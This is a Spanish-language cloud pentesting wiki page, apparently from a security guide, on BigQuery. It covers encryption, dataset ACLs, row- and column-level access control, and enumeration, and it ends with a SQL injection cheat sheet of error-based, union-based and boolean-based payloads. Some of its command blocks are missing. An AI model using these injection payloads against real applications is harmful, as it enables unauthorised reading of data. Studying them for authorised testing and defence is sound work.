GCP - Bigquery Enum
Información Básica
Google Cloud BigQuery es un almacén de datos empresariales completamente gestionado y sin servidor, que ofrece capacidades para análisis sobre petabytes de datos, manejando eficientemente conjuntos de datos a gran escala. Como Plataforma como Servicio (PaaS), proporciona a los usuarios infraestructura y herramientas para facilitar la gestión de datos sin necesidad de supervisión manual.
Admite consultas utilizando SQL ANSI. Los principales objetos son conjuntos de datos que contienen tablas que contienen datos SQL.
Encriptación
Por defecto se utiliza una clave de encriptación gestionada por Google, aunque es posible configurar una clave de encriptación gestionada por el cliente (CMEK). Es posible indicar la clave de encriptación por conjunto de datos y por tabla dentro de un conjunto de datos.
Expiración
Es posible indicar un tiempo de expiración en el conjunto de datos para que cualquier nueva tabla creada en este conjunto de datos sea eliminada automáticamente el número especificado de días después de la creación.
Fuentes Externas
Bigquery está profundamente integrado con otros servicios de Google. Es posible cargar datos desde buckets, pub/sub, Google Drive, bases de datos RDS...
ACLs del Conjunto de Datos
Cuando se crea un conjunto de datos, se adjuntan ACLs para dar acceso sobre él. Por defecto se otorgan privilegios de Propietario sobre el usuario que lo creó el conjunto de datos y luego Propietario al grupo projectOwners (Propietarios del proyecto), Escritor al grupo projectWriters y Lector al grupo projectReaders:
Control de Acceso a Filas de Tabla
Es posible controlar las filas a las que un principal podrá acceder dentro de una tabla con políticas de acceso a filas. Estas se definen dentro de la tabla utilizando DDL. La política de acceso define un filtro y solo las filas que coincidan con ese filtro serán accesibles por los principales indicados.
Control de Acceso a Columnas
Para restringir el acceso a datos a nivel de columna:
Definir una taxonomía y etiquetas de política. Cree y administre una taxonomía y etiquetas de política para sus datos. https://console.cloud.google.com/bigquery/policy-tags
Opcional: Conceda el rol de Lector detallado de Data Catalog a uno o más principios en una o más de las etiquetas de política que creó.
Asigne etiquetas de política a las columnas de BigQuery. En BigQuery, use anotaciones de esquema para asignar una etiqueta de política a cada columna donde desee restringir el acceso.
Hacer cumplir el control de acceso en la taxonomía. Hacer cumplir el control de acceso hace que las restricciones de acceso definidas para todas las etiquetas de política en la taxonomía se apliquen.
Administre el acceso en las etiquetas de política. Utilice Identity and Access Management (IAM) para restringir el acceso a cada etiqueta de política. La política está en efecto para cada columna que pertenece a la etiqueta de política.
Cuando un usuario intenta acceder a datos de columna en el momento de la consulta, BigQuery verifica la etiqueta de política de la columna y su política para ver si el usuario está autorizado para acceder a los datos.
En resumen, para restringir el acceso a algunas columnas para algunos usuarios, puede agregar una etiqueta a la columna en el esquema y restringir el acceso de los usuarios a la etiqueta haciendo cumplir el control de acceso en la taxonomía de la etiqueta.
Para hacer cumplir el control de acceso en la taxonomía, es necesario habilitar el servicio:
Es posible ver las etiquetas de las columnas con:
Enumeración
Inyección de SQL en BigQuery
Para obtener más información, puedes consultar la publicación del blog: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Aquí se proporcionarán algunos detalles.
Comentarios:
select 1#desde aquí no funciona
select 1/*entre estos no funciona*/
Pero solo el inicial no funcionaráselect 1--desde aquí no funciona
Obtener información sobre el entorno como:
Usuario actual:
select session_user()
Id del proyecto:
select @@project_id
Obtener nombres de conjuntos de datos, tablas y columnas:
Nombre del proyecto y conjunto de datos:
Otros conjuntos de datos en el mismo proyecto:
Tipos de Inyección SQL:
Basada en errores - casting:
select CAST(@@project_id AS INT64)
Basada en errores - división por cero:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Basada en Union:
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Basada en booleanos:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potencialmente basada en tiempo - Uso de conjuntos de datos públicos de ejemplo:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Documentación:
Lista de todas las funciones: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
Declaraciones de secuencias de comandos: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Escalada de privilegios y Post Explotación
Persistencia
Referencias
Última actualización